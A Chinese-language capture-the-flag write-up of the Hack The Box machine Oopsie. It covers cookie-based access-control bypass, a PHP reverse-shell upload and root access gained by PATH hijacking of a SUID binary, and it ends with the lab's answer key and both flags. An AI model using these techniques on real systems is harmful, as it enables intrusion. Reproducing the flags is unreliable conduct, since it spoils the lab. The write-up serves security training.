HTB-Oopsie(越权漏洞,suid提权,js接口查询插件)

前言

  • 各位师傅大家好,我是qmx_07,今天给大家讲解Oopsie靶机
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述

  • 服务器开放了22SSH端口 和 HTTP80端口

FindSomething插件

  • 介绍:帮助寻找网站的js接口,辅助渗透

在这里插入图片描述

  • 通过js接口查找,发现目录/cdn-cgi/login 登录接口
    在这里插入图片描述
  • 通过游客模式登录

越权登录 访问uploads 文件上传模块

在这里插入图片描述

  • 账户页面记录了 Access ID 和用户姓名
    在这里插入图片描述
  • 数据包通过user 验证Access ID 和 role 验证 用户名
  • 猜测可以通过修改 进行越权操作
    在这里插入图片描述
  • 遍历id 内容,发现admin的相关信息,尝试访问 上传文件模块
    在这里插入图片描述

在这里插入图片描述

  • 通过Access ID 越权 修改用户名,访问到uploads页面,后续尝试上传文件漏洞

上传木马文件,连接会话

准备工作:

  • kali提供了一份shell连接文件,存放在:/usr/share/webshells/php/php-reverse-shell.php
    在这里插入图片描述
  • 修改ip 端口 为本地服务器
    在这里插入图片描述
  • 修改为admin管理权的权限,上传shell.php文件
    在这里插入图片描述
  • 需要升级成交互式会话
SHELL=/bin/bash script -q /dev/null
  • SHELL是环境变量,它的值代表系统执行shell的文件位置
  • script 运行新shell
  • -q 安静运行
  • /dev/nulll不保存记录的终端会话内容
    在这里插入图片描述
    在这里插入图片描述
    用户flag:f2c74ee8db7983851ab2a96a44eb7981

权限提升

在这里插入图片描述

  • 网站目录中 数据库配置文件,尝试切换账户
    在这里插入图片描述
  • 通过id查询,发现rebert用户属于bugtracker用户组
    在这里插入图片描述
find / -type f -group bugtrackert 2>/dev/null
  • 查找bugtrackert用户组 文件
    在这里插入图片描述
  • 发现bugtracker 用户组 具有 s权限
  • s权限代表其他用户在执行该文件时会以该文件的所有者的身份执行
  • 在这边是root用户管理者身份

通过strings 命令,查看文件内容:

strings /usr/bin/bugtracker
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
strcpy
__isoc99_scanf
__stack_chk_fail
putchar
printf
strlen
malloc
strcat
system
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.7
GLIBC_2.4
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 
---------------
cat /root/reports/
;*3$"
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7697
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
test.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
putchar@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
strcpy@@GLIBC_2.2.5
_edata
strlen@@GLIBC_2.2.5
__stack_chk_fail@@GLIBC_2.4
system@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
concat
geteuid@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
malloc@@GLIBC_2.2.5
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
strcat@@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@@GLIBC_2.2.5
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment

  • cat /root/reports/ ,可以观察到该文件访问了root路径内容,该文件又是suid权限
  • 同时cat命令不是绝对路径写入
  • 系统会向环境变量中 寻找cat命令,如果找到则停止,所以我们在环境目录添加一个恶意的cat命令,造成权限提升
cd /tmp/
echo '/bin/sh' > cat 
chmod +x cat
export PATH=/tmp:$PATH 
  • export PATH=/tmp:$PATH 代表命令从/tmp目录寻找
    在这里插入图片描述
  • 执行bugtracker文件,提权成功
    在这里插入图片描述
  • flag:af13b0bee69f8a877c3faf667f7beacf

答案

  • 1.什么工具可以拦截流量?

proxy

  • 2.web服务器的登录路径是?

/cdn-cgi/login

  • 3.可以修改那些内容 可以上传文件?

cookie

  • 4.admin用户的Access ID是什么?

34322

  • 5.上传文件时,存放在服务器哪个位置?

/uploads

  • 6.存放robret用户的账户密码凭据在哪个文件?

db.php

  • 7.使用什么命令来查询组bugtracker拥有的文件?

find

  • 8.无论哪个用户运行bugtracker ,都是什么权限?

root

  • 9.suid代表什么?

Set Owner User ID

  • 10.文件里不安全的命令是什么?

cat

  • 11.用户flag是什么?

f2c74ee8db7983851ab2a96a44eb7981

  • 12.最终flag是什么?

af13b0bee69f8a877c3faf667f7beacf

总结

  • 今天我们介绍了越权漏洞 和 suid提权,findSometing js接口插件
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值